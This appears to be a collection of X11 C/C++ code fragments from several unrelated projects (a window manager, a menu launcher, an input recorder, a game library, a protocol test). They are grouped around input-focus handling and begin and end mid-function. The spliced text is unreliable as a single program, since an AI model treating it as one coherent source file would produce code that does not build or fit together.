larger deltas by preserving pre-warp portion.*/ lastmouse.x = (X_width/2 - (newmouse.x - lastmouse.x)); lastmouse.y = (X_height/2 - (newmouse.y - lastmouse.y)); XWarpPointer( X_display, None, X_mainWindow, 0, 0, 0, 0, X_width/2, X_height/2); } else { lastmouse = newmouse; } } }
static int DriverPrivateEvents(XEvent *report) { UINT wstate; HWND hWnd,hWndFrame; WINDOWPOS wp; int count; int msgposted = 0; DWORD dwClientWin; RECT rcWnd; PRIVATEDISPLAY *dp; static Window win; Window win_focus; DWORD dwStyle; int revert_return; char *msgstr = 0; dp = GETDP(); switch (report->type) { case SelectionNotify: msgstr = "SelectionNotify"; dp->ServerTime = report->xselection.time; break; case SelectionClear: msgstr = "SelectionClear"; dp->ServerTime = report->xselectionclear.time; break; case SelectionRequest: msgstr = "SelectionRequest"; dp->ServerTime = report->xselectionrequest.time; break; case PropertyNotify: msgstr = "PropertyNotify"; dp->ServerTime = report->xproperty.time; /* * fall through to common code, handle X ICCCM * PropertyNotify will be related to clipboard and DDE * ClientMessage will be either * wm_protocol for user/window manager interactions * ipc_protocol for DDE and low-level interactions */ case ClientMessage: msgstr = "ClientMessage"; if(InternalICCCM(report->type,dp,report)) msgposted--; break; case Expose: { XRectangle rcexpose; Region RgnExpose = 0; RECT rcExpose; HWND hWndFrame = 0; msgstr = "Expose"; count = 0; do { if (count == 0) { if (XFindContext(dp->display,report->xexpose.window, dp->client_hwnd,(caddr_t *)&dwClientWin)) continue; hWndFrame = (HWND)HIWORD(dwClientWin); count = report->xexpose.count; if (count == 0) { rcExpose.left = report->xexpose.x; rcExpose.top = report->xexpose.y; rcExpose.right = report->xexpose.x+ report->xexpose.width; rcExpose.bottom = report->xexpose.y+ report->xexpose.height; lpLibCallback(TWINLIBCALLBACK_EXPOSE,(LPARAM)hWndFrame, SIMPLEREGION, (LPVOID)&rcExpose); msgposted--; continue; } else RgnExpose = XCreateRegion(); } rcexpose.x = report->xexpose.x; rcexpose.y = report->xexpose.y; rcexpose.width = report->xexpose.width; rcexpose.height = report->xexpose.height; XUnionRectWithRegion(&rcexpose,RgnExpose,RgnExpose); if (report->xexpose.count == 0) { lpLibCallback(TWINLIBCALLBACK_EXPOSE,(LPARAM)hWndFrame, COMPLEXREGION,(LPVOID)RgnExpose); msgposted--; XDestroyRegion(RgnExpose); count = 0; } } while (XCheckTypedEvent(dp->display,Expose,report)); break; } case ReparentNotify: msgstr = "ReparentNotify"; if (XFindContext(dp->display,report->xreparent.window, dp->client_hwnd,(caddr_t *)&dwClientWin)) break; /* We have to repeat XResizeWindow for the sake of */ /* OpenWindows, which loses resizing requests */ hWnd = LOWORD(dwClientWin); GetPhysicalRect(hWnd,&rcWnd); XResizeWindow(dp->display, report->xreparent.window, rcWnd.right-rcWnd.left, rcWnd.bottom-rcWnd.top); break; case ConfigureNotify: msgstr = "ConfigureNotify"; if (XFindContext(dp->display,report->xconfigure.window, dp->client_hwnd,(caddr_t *)&dwClientWin)) break; /* Window managers send synthetic ConfigureNotify events */ /* if the window was moved but not resized (July 27, 1988 */ /* ICCCM draft). Some window managers (OpenWin) offset the */ /* origin by some fixed value, so take size portion and go */ /* get origin from Xlib */ wstate = SWP_NOACTIVATE|SWP_DRIVER|SWP_NOZORDER; { int xRoot,yRoot; Window child_return; XTranslateCoordinates(dp->display, report->xconfigure.window, RootWindow(dp->display,dp->screen), 0,0, &xRoot,&yRoot, &child_return); report->xconfigure.x = xRoot; report->xconfigure.y = yRoot; } if (!report->xconfigure.width || !report->xconfigure.height) wstate |= SWP_NOSIZE; wp.hwnd = (HWND)HIWORD(dwClientWin); wp.hwndInsertAfter = (HWND)0; wp.x = report->xconfigure.x; wp.y = report->xconfigure.y; wp.cx = report->xconfigure.width; wp.cy = report->xconfigure.height; wp.flags = wstate; lpLibCallback(TWINLIBCALLBACK_CONFIGURE,(LPARAM)wp.hwnd, 0, (LPVOID)&wp); break; case ButtonPress: msgstr = "ButtonPress"; msgposted = DrvWindowsEvents(0L,0L,(LPVOID)report); break; case ButtonRelease: msgstr = "ButtonRelease"; msgposted = DrvWindowsEvents(0L,0L,(LPVOID)report); break; case MotionNotify: msgstr = "MotionNotify"; msgposted = DrvWindowsEvents(0L,0L,(LPVOID)report); break; case KeyPress: msgstr = "KeyPress"; msgposted = DrvHandleKeyboardEvents(0L,0L,(LPVOID)report); break; case KeyRelease: msgstr = "KeyRelease"; msgposted = DrvHandleKeyboardEvents(0L,0L,(LPVOID)report); break; case EnterNotify: msgstr = "EnterNotify"; if (XFindContext(dp->display,report->xcrossing.window, dp->client_hwnd,(caddr_t *)&dwClientWin)) break; XFindContext(dp->display,report->xcrossing.window, dp->window_style,(caddr_t *)&dwStyle); if ((dwStyle & WS_CAPTION) != WS_CAPTION) { XGetInputFocus(dp->display,&win,&revert_return); if (win != report->xcrossing.window) { XSetInputFocus(dp->display,report->xcrossing.window, revert_return,CurrentTime); } } break; case LeaveNotify: msgstr = "LeaveNotify"; if (XFindContext(dp->display,report->xcrossing.window, dp->client_hwnd,(caddr_t *)&dwClientWin)) break; XFindContext(dp->display,report->xcrossing.window, dp->window_style,(caddr_t *)&dwStyle); if ((dwStyle & WS_CAPTION) != WS_CAPTION) { XGetInputFocus(dp->display,&win_focus,&revert_return); if (win && (win != report->xcrossing.window)) { if (win != RootWindow(dp->display,dp->screen)) { XSetInputFocus(dp->display,win, revert_return,CurrentTime); } else { XSetInputFocus(dp->display,PointerRoot, 0,CurrentTime); } } win = 0; } break; case FocusIn: msgstr = "FocusIn"; case FocusOut: if(msgstr == 0) msgstr = "FocusOut"; if (XFindContext(dp->display,report->xfocus.window, dp->client_hwnd,(caddr_t *)&dwClientWin)) break; hWndFrame = HIWORD(dwClientWin); lpLibCallback(TWINLIBCALLBACK_FOCUS,(LPARAM)hWndFrame, IFC_DRIVERFOCUS, (LPVOID)(report->type == FocusIn)); msgposted--; break; case KeymapNotify: msgstr = "KeymapNotify"; /* this could/should be used to update us on the current * state of the keyboard. Can it be different from what * we know about it? Yes, we could have keydown somewhere * and keyup in our space... */ break; case VisibilityNotify: msgstr = "VisibilityNotify"; /* * The following function call prints the entire tree of * windows known to X11. It is commented out because it * is far too wordy in most debugging situations. */ DrvPrintTree(dp, XRootWindow(dp->display, dp->screen)); if (XFindContext(dp->display, report->xvisibility.window, dp->client_hwnd, (caddr_t *)&dwClientWin)) break; hWnd = (HWND)LOWORD(dwClientWin); switch (report->xvisibility.state) { case VisibilityUnobscured: case VisibilityPartiallyObscured: SetWF(hWnd,WFVISIBILITY); break; case VisibilityFullyObscured: ClearWF(hWnd,WFVISIBILITY); break; } msgposted--; break; case CreateNotify: msgstr = "CreateNotify"; break; case DestroyNotify: msgstr = "DestroyNotify"; break; case MappingNotify: msgstr = "MappingNotify"; XRefreshKeyboardMapping((XMappingEvent *)report); break; case MapNotify: msgstr = "MapNotify"; #ifdef DEBUG if (XFindContext(dp->display,report->xmap.window, dp->client_hwnd,(caddr_t *)&dwClientWin)) break; hWnd = HIWORD(dwClientWin); #endif break; case UnmapNotify: msgstr = "UnmapNotify"; if (XFindContext(dp->display,report->xunmap.window, dp->client_hwnd,(caddr_t *)&dwClientWin)) break; hWnd = HIWORD(dwClientWin); ClearWF(hWnd, WFMAPPED); break; case CirculateNotify: msgstr = "CirculateNotify"; break; case CirculateRequest: msgstr = "CirculateRequest"; break; case NoExpose: msgstr = "NoExpose"; break; default: msgstr = "UNKNOWN"; break; } /* end switch */ return msgposted; }
static void setup(void) { int x, y; XSetWindowAttributes swa; XIM xim; #ifdef XINERAMA XineramaScreenInfo *info; Window w, pw, dw, *dws; XWindowAttributes wa; int a, j, di, n, i = 0, area = 0; unsigned int du; #endif /* init appearance */ scheme[SchemeNorm].bg = drw_clr_create(drw, normbgcolor); scheme[SchemeNorm].fg = drw_clr_create(drw, normfgcolor); scheme[SchemeSel].bg = drw_clr_create(drw, selbgcolor); scheme[SchemeSel].fg = drw_clr_create(drw, selfgcolor); scheme[SchemeOut].bg = drw_clr_create(drw, outbgcolor); scheme[SchemeOut].fg = drw_clr_create(drw, outfgcolor); clip = XInternAtom(dpy, "CLIPBOARD", False); utf8 = XInternAtom(dpy, "UTF8_STRING", False); /* calculate menu geometry */ bh = drw->fonts[0]->h + 2; lines = MAX(lines, 0); mh = (lines + 1) * bh; #ifdef XINERAMA if ((info = XineramaQueryScreens(dpy, &n))) { XGetInputFocus(dpy, &w, &di); if (mon != -1 && mon < n) i = mon; if (!i && w != root && w != PointerRoot && w != None) { /* find top-level window containing current input focus */ do { if (XQueryTree(dpy, (pw = w), &dw, &w, &dws, &du) && dws) XFree(dws); } while (w != root && w != pw); /* find xinerama screen with which the window intersects most */ if (XGetWindowAttributes(dpy, pw, &wa)) for (j = 0; j < n; j++) if ((a = INTERSECT(wa.x, wa.y, wa.width, wa.height, info[j])) > area) { area = a; i = j; } } /* no focused window is on screen, so use pointer location instead */ if (mon == -1 && !area && XQueryPointer(dpy, root, &dw, &dw, &x, &y, &di, &di, &du)) for (i = 0; i < n; i++) if (INTERSECT(x, y, 1, 1, info[i])) break; x = info[i].x_org; y = info[i].y_org + (topbar ? 0 : info[i].height - mh); mw = info[i].width; XFree(info); } else #endif { x = 0; y = topbar ? 0 : sh - mh; mw = sw; } promptw = (prompt && *prompt) ? TEXTW(prompt) : 0; inputw = MIN(inputw, mw/3); match(); /* create menu window */ swa.override_redirect = True; swa.background_pixel = scheme[SchemeNorm].bg->pix; swa.event_mask = ExposureMask | KeyPressMask | VisibilityChangeMask; win = XCreateWindow(dpy, root, x, y, mw, mh, 0, DefaultDepth(dpy, screen), CopyFromParent, DefaultVisual(dpy, screen), CWOverrideRedirect | CWBackPixel | CWEventMask, &swa); /* open input methods */ xim = XOpenIM(dpy, NULL, NULL, NULL); xic = XCreateIC(xim, XNInputStyle, XIMPreeditNothing | XIMStatusNothing, XNClientWindow, win, XNFocusWindow, win, NULL); XMapRaised(dpy, win); drw_resize(drw, mw, mh); drawmenu(); }
bool window_focused_x11(Display *display,Window win) { int revert_to_return; Window focus_return; XGetInputFocus(display,&focus_return,&revert_to_return); return win==focus_return; }
void getFocusedWindow(Display *dsp,Window *w){ int revert; XGetInputFocus(dsp,w,&revert); }
static void grabfocus(void) { struct timespec ts = { .tv_sec = 0, .tv_nsec = 10000000 }; Window focuswin; int i, revertwin; for (i = 0; i < 100; ++i) { XGetInputFocus(dpy, &focuswin, &revertwin); if (focuswin == win) return; XSetInputFocus(dpy, win, RevertToParent, CurrentTime); nanosleep(&ts, NULL); } die("cannot grab focus"); } static void grabkeyboard(void) { struct timespec ts = { .tv_sec = 0, .tv_nsec = 1000000 }; int i; if (embed) return; /* try to grab keyboard, we may have to wait for another process to ungrab */ for (i = 0; i < 1000; i++) { if (XGrabKeyboard(dpy, DefaultRootWindow(dpy), True, GrabModeAsync, GrabModeAsync, CurrentTime) == GrabSuccess) return; nanosleep(&ts, NULL); } die("cannot grab keyboard"); } static void match(void) { static char **tokv = NULL; static int tokn = 0; char buf[sizeof text], *s; int i, tokc = 0; size_t len, textsize; struct item *item, *lprefix, *lsubstr, *prefixend, *substrend; strcpy(buf, text); /* separate input text into tokens to be matched individually */ for (s = strtok(buf, " "); s; tokv[tokc - 1] = s, s = strtok(NULL, " ")) if (++tokc > tokn && !(tokv = realloc(tokv, ++tokn * sizeof *tokv))) die("cannot realloc %u bytes:", tokn * sizeof *tokv); len = tokc ? strlen(tokv[0]) : 0; matches = lprefix = lsubstr = matchend = prefixend = substrend = NULL; textsize = strlen(text); for (item = items; item && item->text; item++) { for (i = 0; i < tokc; i++) if (!fstrstr(item->text, tokv[i])) break; if (i != tokc) /* not all tokens match */ continue; /* exact matches go first, then prefixes, then substrings */ if (!tokc || !fstrncmp(text, item->text, textsize)) appenditem(item, &matches, &matchend); else if (!fstrncmp(tokv[0], item->text, len)) appenditem(item, &lprefix, &prefixend); else appenditem(item, &lsubstr, &substrend); } if (lprefix) { if (matches) { matchend->right = lprefix; lprefix->left = matchend; } else matches = lprefix; matchend = prefixend; } if (lsubstr) { if (matches) { matchend->right = lsubstr; lsubstr->left = matchend; } else matches = lsubstr; matchend = substrend; } curr = sel = matches; calcoffsets(); } static void insert(const char *str, ssize_t n) { if (strlen(text) + n > sizeof text - 1) return; /* move existing text out of the way, insert new text, and update cursor */ memmove(&text[cursor + n], &text[cursor], sizeof text - cursor - MAX(n, 0)); if (n > 0) memcpy(&text[cursor], str, n); cursor += n; match(); } static size_t nextrune(int inc) { ssize_t n; /* return location of next utf8 rune in the given direction (+1 or -1) */ for (n = cursor + inc; n + inc >= 0 && (text[n] & 0xc0) == 0x80; n += inc) ; return n; } static void loadhistory(void) { FILE *fp = NULL; size_t sz; if (!histfile) return; if (!(fp = fopen(histfile, "r"))) return; fseek(fp, 0, SEEK_END); sz = ftell(fp); fseek(fp, 0, SEEK_SET); if (sz) { histsz = sz + 1 + BUFSIZ; if (!(histbuf = malloc(histsz))) { fprintf(stderr, "warning: cannot malloc %lu "\ "bytes", histsz); } else { histptr = histbuf + fread(histbuf, 1, sz, fp); if (histptr <= histbuf) { /* fread error */ free(histbuf); histbuf = NULL; return; } if (histptr[-1] != '\n') *histptr++ = '\n'; histptr[BUFSIZ - 1] = '\0'; *histptr = '\0'; histsz = histptr - histbuf + BUFSIZ; } } fclose(fp); }
static int get_focus(struct _xfocus *p, int *forced_mode, int *focus_status) { *forced_mode = FORCE_MODE_NORMAL; *focus_status = FOCUS_NONE; Window new_window; while (TRUE) { int revert_to; XGetInputFocus(main_window->display, &new_window, &revert_to); // Catch not empty and not system window if (new_window != None && new_window > 1000) break; log_message(DEBUG, "New window empty"); usleep(500); } char *new_app_name = get_wm_class_name(new_window); if (new_app_name != NULL) { if (xconfig->excluded_apps->exist(xconfig->excluded_apps, new_app_name, BY_PLAIN)) *focus_status = FOCUS_EXCLUDED; if (xconfig->auto_apps->exist(xconfig->auto_apps, new_app_name, BY_PLAIN)) *forced_mode = FORCE_MODE_AUTO; else if (xconfig->manual_apps->exist(xconfig->manual_apps, new_app_name, BY_PLAIN)) *forced_mode = FORCE_MODE_MANUAL; } Window old_window = p->owner_window; if (new_window == old_window) { if (new_app_name != NULL) free(new_app_name); return FOCUS_UNCHANGED; } // Up to heighted window p->parent_window = new_window; while (TRUE) { unsigned int children_count; Window root_window, parent_window; Window *children_return; int is_same_screen = XQueryTree(main_window->display, p->parent_window, &root_window, &parent_window, &children_return, &children_count); if (!is_same_screen || parent_window == None || parent_window == root_window) break; p->parent_window = parent_window; XFree(children_return); } // Replace unfocused window to focused window p->owner_window = new_window; log_message(DEBUG, "Process new window (ID %d) with name '%s' (status %s, mode %s)", new_window, new_app_name, verbose_focus_status[*focus_status], verbose_forced_mode[*forced_mode]); if (new_app_name != NULL) free(new_app_name); return FOCUS_CHANGED; }
void EventCallback(XPointer p, XRecordInterceptData *idata) { if (XRecordFromServer == idata->category) { GUIRecord *grecord = (GUIRecord *) p; Display *disp = grecord->disp; Display *display = grecord->disp; //Display *disp = (Display *)p; xEvent *xev = (xEvent *)idata->data; int type = xev->u.u.type; int keyPress = 0; timeval now; gettimeofday(&now, NULL); long secDiff = (now.tv_sec - grecord->evt.now.tv_sec); long usecDiff = ((now.tv_usec - grecord->evt.now.tv_usec) / 1000); long delay = ((secDiff * 1000) + usecDiff); grecord->evt.delay = delay; grecord->evt.now = now; //printf("DEBUG: delay = %ld\n",delay); debug()<<"event: "<<type<<std::endl; switch (type) { case ButtonPress: { int button = xev->u.u.detail; // 1=left, 2=middle, 3=right, 4=up, 5=down //printf("DEBUG: onMouseDown %d @ (%d,%d)\n", button, grecord->evt.x, grecord->evt.y); int x = xev->u.keyButtonPointer.rootX, y = xev->u.keyButtonPointer.rootY; grecord->evt.x = x; grecord->evt.y = y; grecord->onMouseDown(button, x, y); //-- Window focus_return; //-- int revert_to_return; //-- XGetInputFocus(disp, &focus_return, &revert_to_return); //-- std::cout<<"Focus Window Press:"<<focus_return<<' '<<revert_to_return<<std::endl; /* // Below values Has no much meaning Window event_w = xev->u.keyButtonPointer.event; Window event_r = xev->u.keyButtonPointer.root; Window event_c = xev->u.keyButtonPointer.child; int event_x = xev->u.keyButtonPointer.eventX; int event_y = xev->u.keyButtonPointer.eventY; int root_x = xev->u.keyButtonPointer.rootX; int root_y = xev->u.keyButtonPointer.rootY; std::cout<<"mouse press: "<<(event_w)<<'/'<<event_r<<'/'<<event_c<<' '<<event_x<<' '<<event_y<<' '<<root_x<<' '<<root_y<<' '<<None<<std::endl; / */ } break; case ButtonRelease: { int button = xev->u.u.detail; //printf("DEBUG: onMouseUp %d @ (%d,%d)\n", button, grecord->evt.x, grecord->evt.y); int x = xev->u.keyButtonPointer.rootX, y = xev->u.keyButtonPointer.rootY; grecord->evt.x = x; grecord->evt.y = y; grecord->onMouseUp(button, x, y); } break; case KeyPress: { KeyCode kc = xev->u.u.detail; //-- KeySym ks = XKeycodeToKeysym(disp, kc, 0); //-- const char *kchar = XKeysymToString(ks); //-- printf("onKeyPress %d %s\n", kc, kchar); grecord->keystroke(kc, true); } break; case KeyRelease: { KeyCode kc = xev->u.u.detail; KeySym ks = XKeycodeToKeysym(disp, kc, 0); //KeySym ks2 = XKeycodeToKeysym(disp, kc, 1); //printf("DEBUG: keysym %d %d\n",ks,ks2); const char *kchar = XKeysymToString(ks); //printf("DEBUG: onKeyUp %d %s\n", kc, kchar); if(strcmp(kchar, "Escape")==0){ grecord->stop(); } //std::cout<<"keyup "<<kchar<<std::endl; grecord->keystroke(kc,false); } break; case MotionNotify: { int x = xev->u.keyButtonPointer.rootX; int y = xev->u.keyButtonPointer.rootY; //grecord->evt.d += abs(x - grecord->evt.x) + abs(y - grecord->evt.y); grecord->evt.d += abs(x - grecord->evt.x) + abs(y - grecord->evt.y); grecord->evt.x = x; grecord->evt.y = y; grecord->onMouseMove(x,y); } break; case EnterNotify: printf("onEnter\n"); break; case LeaveNotify: printf("onLeave\n"); break; case FocusIn: { Window focus_win = xev->u.focus.window; grecord->flushMouse(); Window focus_return; int revert_to_return; XGetInputFocus(display, &focus_return, &revert_to_return); if(focus_win == focus_return){ grecord->evt.w = focus_win; int wx, wy; print_window_attrs(display, focus_win, wx, wy); int xdot_x = wx-7, xdot_y = wy-24; std::cout<<"xdotool getwindowfocus getwindowgeometry windowmove --sync "<<xdot_x<<' '<<xdot_y<<" getwindowgeometry"<<std::endl; // TODO: add size support // xdotool getwindowfocus getwindowgeometry windowmove 292 94 getwindowgeometry //xdo_window_move(display, focus_win, wx, wy); //print_window_attrs(display, focus_win, wx, wy); //--XGetGeometry(display, root_return, &root_return, &x_return, &y_return, &width_return, //-- &height_return, &border_width_return, &depth_return); //--debug()<<"win root "<<x_return<<' '<<y_return<<' '<<width_return<<' '<<height_return<<std::endl; /* XWindowAttributes attr; XGetWindowAttributes(display, focus_win, &attr); XTranslateCoordinates(xdo->xdpy, focus_win, attr.root, attr.x, attr.y, &root_x, &root_y, &unused_child); debug()<<"root "<<win_x<<','<<win_y<<' '<<root_x<<','<<root_y<<std::endl; */ } //TODO: handle more on window stack change } break; case FocusOut: { grecord->flushMouse(); Window focus_win = xev->u.focus.window; if(grecord->evt.w == focus_win){ char *wname; XFetchName(display, focus_win, &wname); debug()<<"FocusOut Window: "<<focus_win<<' '<<wname<<std::endl; grecord->evt.w = 0; } } break; case KeymapNotify: case Expose: case GraphicsExpose: case NoExpose: break; case CreateNotify: case DestroyNotify: break; case MapNotify: debug()<<"MapNotify Window"<<std::endl; break; case UnmapNotify: debug()<<"UnmapNotify Window"<<std::endl; break; case ConfigureNotify: { int w_window = xev->u.configureRequest.window; int w_x = xev->u.configureRequest.x; int w_y = xev->u.configureRequest.y; int w_w = xev->u.configureRequest.width; int w_h = xev->u.configureRequest.height; debug()<<"Config Window: "<<w_window<<" @ ("<<w_x<<','<<w_y<<") "<<w_w<<'x'<<w_h<<std::endl; } break; case PropertyNotify:{ // it's possible Copy action } break; case SelectionRequest: { // INFO: use SelectionRequest when Paste } break; default: //std::cout<<"event type: "<<type<<std::endl; break; } //// //HandleEvent(re); //// } if (idata != NULL) XRecordFreeData(idata); }
/* generic multi-head x */ int _al_xsys_mheadx_get_default_adapter(ALLEGRO_SYSTEM_XGLX *s) { int i; ALLEGRO_DEBUG("mhead get default adapter\n"); if (ScreenCount(s->x11display) == 1) return 0; _al_mutex_lock(&s->lock); Window focus; int revert_to = 0; XWindowAttributes attr; Screen *focus_screen; if (!XGetInputFocus(s->x11display, &focus, &revert_to)) { ALLEGRO_ERROR("XGetInputFocus failed!"); _al_mutex_unlock(&s->lock); return 0; } if (focus == None) { ALLEGRO_ERROR("XGetInputFocus returned None!\n"); _al_mutex_unlock(&s->lock); return 0; } else if (focus == PointerRoot) { ALLEGRO_DEBUG("XGetInputFocus returned PointerRoot.\n"); /* XXX TEST THIS >:( */ Window root, child; int root_x, root_y; int win_x, win_y; unsigned int mask; if (XQueryPointer(s->x11display, focus, &root, &child, &root_x, &root_y, &win_x, &win_y, &mask) == False) { ALLEGRO_ERROR("XQueryPointer failed :("); _al_mutex_unlock(&s->lock); return 0; } focus = root; } else { ALLEGRO_DEBUG("XGetInputFocus returned %i!\n", (int)focus); } XGetWindowAttributes(s->x11display, focus, &attr); focus_screen = attr.screen; int ret = 0; for (i = 0; i < ScreenCount(s->x11display); i++) { if (ScreenOfDisplay(s->x11display, i) == focus_screen) { _al_mutex_unlock(&s->lock); ret = i; break; } } _al_mutex_unlock(&s->lock); return ret; }
void Blackbox::process_event(XEvent *e) { switch (e->type) { case MapRequest: { #ifdef DEBUG fprintf(stderr, "Blackbox::process_event(): MapRequest for 0x%lx\n", e->xmaprequest.window); #endif // DEBUG BlackboxWindow *win = findWindow(e->xmaprequest.window); if (win) { if ((!activeScreen() || activeScreen() == win->screen()) && (win->isTransient() || _resource.focusNewWindows())) win->activate(); } else { BScreen *screen = findScreen(e->xmaprequest.parent); if (! screen) { /* we got a map request for a window who's parent isn't root. this can happen in only one circumstance: a client window unmapped a managed window, and then remapped it somewhere between unmapping the client window and reparenting it to root. regardless of how it happens, we need to find the screen that the window is on */ XWindowAttributes wattrib; if (! XGetWindowAttributes(XDisplay(), e->xmaprequest.window, &wattrib)) { // failed to get the window attributes, perhaps the window has // now been destroyed? break; } screen = findScreen(wattrib.root); assert(screen != 0); // this should never happen } screen->addWindow(e->xmaprequest.window); } break; } case ConfigureRequest: { BlackboxWindow *win = findWindow(e->xconfigurerequest.window); if (win) { // a window wants to resize win->configureRequestEvent(&e->xconfigurerequest); break; } Slit *slit = dynamic_cast<Slit *>(findEventHandler(e->xconfigurerequest.parent)); if (slit) { // something in the slit wants to resize slit->configureRequestEvent(&e->xconfigurerequest); break; } /* handle configure requests for windows that have no EventHandlers by simply configuring them as requested. note: the event->window parameter points to the window being configured, and event->parent points to the window that received the event (in this case, the root window, since SubstructureRedirect has been selected). */ XWindowChanges xwc; xwc.x = e->xconfigurerequest.x; xwc.y = e->xconfigurerequest.y; xwc.width = e->xconfigurerequest.width; xwc.height = e->xconfigurerequest.height; xwc.border_width = e->xconfigurerequest.border_width; xwc.sibling = e->xconfigurerequest.above; xwc.stack_mode = e->xconfigurerequest.detail; XConfigureWindow(XDisplay(), e->xconfigurerequest.window, e->xconfigurerequest.value_mask, &xwc); break; } case FocusIn: { #ifdef FOCUS_DEBUG printf("FocusIn : window %8lx mode %s detail %s\n", e->xfocus.window, Mode[e->xfocus.mode], Detail[e->xfocus.detail]); #endif if (e->xfocus.mode == NotifyGrab || (e->xfocus.detail != NotifyNonlinearVirtual && e->xfocus.detail != NotifyVirtual)) { /* don't process FocusIns when: 1. they are the result of a grab 2. the new focus window isn't an ancestor or inferior of the old focus window (NotifyNonlinearVirtual and NotifyVirtual) */ break; } BlackboxWindow *win = findWindow(e->xfocus.window); if (!win || win->isFocused()) break; #ifdef FOCUS_DEBUG printf(" win %p got focus\n", win); #endif win->setFocused(true); setFocusedWindow(win); /* set the event window to None. when the FocusOut event handler calls this function recursively, it uses this as an indication that focus has moved to a known window. */ e->xfocus.window = None; break; } case FocusOut: { #ifdef FOCUS_DEBUG printf("FocusOut: window %8lx mode %s detail %s\n", e->xfocus.window, Mode[e->xfocus.mode], Detail[e->xfocus.detail]); #endif if (e->xfocus.mode == NotifyGrab || (e->xfocus.detail != NotifyNonlinearVirtual && e->xfocus.detail != NotifyVirtual)) { /* don't process FocusOuts when: 1. they are the result of a grab 2. the new focus window isn't an ancestor or inferior of the old focus window (NotifyNonlinearVirtual and NotifyNonlinearVirtual) */ break; } BlackboxWindow *win = findWindow(e->xfocus.window); if (!win || !win->isFocused()) break; bool lost_focus = true; // did the window really lose focus? bool no_focus = true; // did another window get focus? XSync(XDisplay(), False); XEvent event; if (XCheckIfEvent(XDisplay(), &event, scanForFocusIn, NULL)) { process_event(&event); if (event.xfocus.window == None) no_focus = false; } else { XWindowAttributes attr; Window w; int unused; XGetInputFocus(XDisplay(), &w, &unused); if (w != None && XGetWindowAttributes(XDisplay(), w, &attr) && attr.override_redirect) { #ifdef FOCUS_DEBUG printf(" focused moved to an override_redirect window\n"); #endif lost_focus = (e->xfocus.mode == NotifyNormal); } } if (lost_focus) { #ifdef FOCUS_DEBUG printf(" win %p lost focus\n", win); #endif win->setFocused(false); if (no_focus) { #ifdef FOCUS_DEBUG printf(" no window has focus\n"); #endif setFocusedWindow(0); } } break; } default: // Send the event through the default EventHandlers. bt::Application::process_event(e); break; } // switch }
bool xifocus_update(struct _xifocus *p) { struct _xobj *owner = p->owner; Window old_window = owner->xWindow; char *old_app_name = NULL; if (old_window != None) old_app_name = owner->get_wmclass_name(owner); int revert_to; Window new_window; XGetInputFocus(owner->xDisplay, &new_window, &revert_to); if (new_window == None) // If no window focused { p->ptr_count = 0; return FALSE; } p->changed = FALSE; if (new_window != old_window) { p->changed = TRUE; owner->xWindow = new_window; char *new_app_name = owner->get_wmclass_name(owner); if (!new_app_name || !old_app_name || strcmp(new_app_name, old_app_name) != 0) log_message(DEBUG, "New processed window with name '%s' (%d)", new_app_name, new_window); if (new_app_name) free(new_app_name); } if (old_app_name) free(old_app_name); p->ptr_count = 0; if (revert_to != RevertToPointerRoot) return TRUE; while (1) { int dummy; unsigned int dummyU; Window root_window; bool is_same_screen = XQueryPointer(owner->xDisplay, new_window, &root_window, &new_window, &dummy, &dummy, &dummy, &dummy, &dummyU); if (!is_same_screen || new_window == None) return TRUE; p->ptr_count++; if (p->ptr_count >= p->ptr_size) { p->ptr_size = p->ptr_count; p->ptr = (struct _xobj **) xnrealloc(p->ptr, p->ptr_size * sizeof(struct _xobj *)); p->ptr[p->ptr_count - 1] = xobj_init(); } struct _xobj *new_obj = p->ptr[p->ptr_count - 1]; new_obj->xDisplay = owner->xDisplay; new_obj->xWindow = new_window; } }
main() { Window w2; Display *dpy = XOpenDisplay(NIL); assert(dpy); Screen *scr = DefaultScreenOfDisplay(dpy); // CreateWindow Window w = XCreateWindow(dpy, RootWindowOfScreen(scr), 10, 100, 200, 300, 0, CopyFromParent, CopyFromParent, CopyFromParent, 0, NIL); XDestroyWindow(dpy, w); // CreateWindow with arguments XSetWindowAttributes swa; swa.background_pixel = WhitePixelOfScreen(scr); swa.bit_gravity = NorthWestGravity; swa.border_pixel = BlackPixelOfScreen(scr); swa.colormap = DefaultColormapOfScreen(scr); swa.cursor = None; swa.win_gravity = NorthGravity; w = XCreateWindow(dpy, RootWindowOfScreen(scr), 10, 100, 200, 300, 0, CopyFromParent, CopyFromParent, CopyFromParent, CWBackPixel | CWBitGravity | CWBorderPixel | CWColormap | CWCursor | CWWinGravity, &swa); // CreateWindow with other arguments XDestroyWindow(dpy, w); Pixmap pixmap = XCreatePixmap(dpy, RootWindowOfScreen(scr), 45, 25, DefaultDepthOfScreen(scr)); assert(pixmap); swa.background_pixmap = pixmap; swa.border_pixmap = pixmap; w = XCreateWindow(dpy, RootWindowOfScreen(scr), 10, 100, 200, 300, 0, CopyFromParent, CopyFromParent, CopyFromParent, CWBackPixmap | CWBorderPixmap, &swa); // ChangeWindowAttributes swa.backing_planes = 0x1; swa.backing_pixel = WhitePixelOfScreen(scr); swa.save_under = True; swa.event_mask = KeyPressMask | KeyReleaseMask; swa.do_not_propagate_mask = ButtonPressMask | Button4MotionMask; swa.override_redirect = False; XChangeWindowAttributes(dpy, w, CWBackingPlanes | CWBackingPixel | CWSaveUnder | CWEventMask | CWDontPropagate | CWOverrideRedirect, &swa); // GetWindowAttributes XWindowAttributes wa; Status success = XGetWindowAttributes(dpy, w, &wa); // DestroyWindow (done) // DestroySubwindows w2 = XCreateWindow(dpy, w, 20, 30, 40, 50, 3, CopyFromParent, CopyFromParent, CopyFromParent, 0, NIL); XDestroySubwindows(dpy, w); // ChangeSaveSet // Display *dpy2 = XOpenDisplay(NIL); // assert(dpy2); // XAddToSaveSet(dpy2, w); // XCloseDisplay(dpy2); // ReparentWindow w2 = XCreateWindow(dpy, RootWindowOfScreen(scr), 20, 30, 40, 50, 3, CopyFromParent, CopyFromParent, CopyFromParent, 0, NIL); XReparentWindow(dpy, w2, w, 10, 5); // MapWindow XMapWindow(dpy, w); // MapSubwindows XMapSubwindows(dpy, w); // UnmapWindow XUnmapWindow(dpy, w); // UnmapSubwindows XMapWindow(dpy, w); XUnmapSubwindows(dpy, w2); XMapSubwindows(dpy, w); // ConfigureWindow Window w3 = XCreateWindow(dpy, w, 10, 50, 100, 10, 2, CopyFromParent, CopyFromParent, CopyFromParent, 0, NIL); XMapWindow(dpy, w3); XWindowChanges wc; wc.x = -5; wc.y = -10; wc.width = 50; wc.height = 40; wc.border_width = 7; wc.sibling = w2; wc.stack_mode = Opposite; XConfigureWindow(dpy, w3, CWX | CWY | 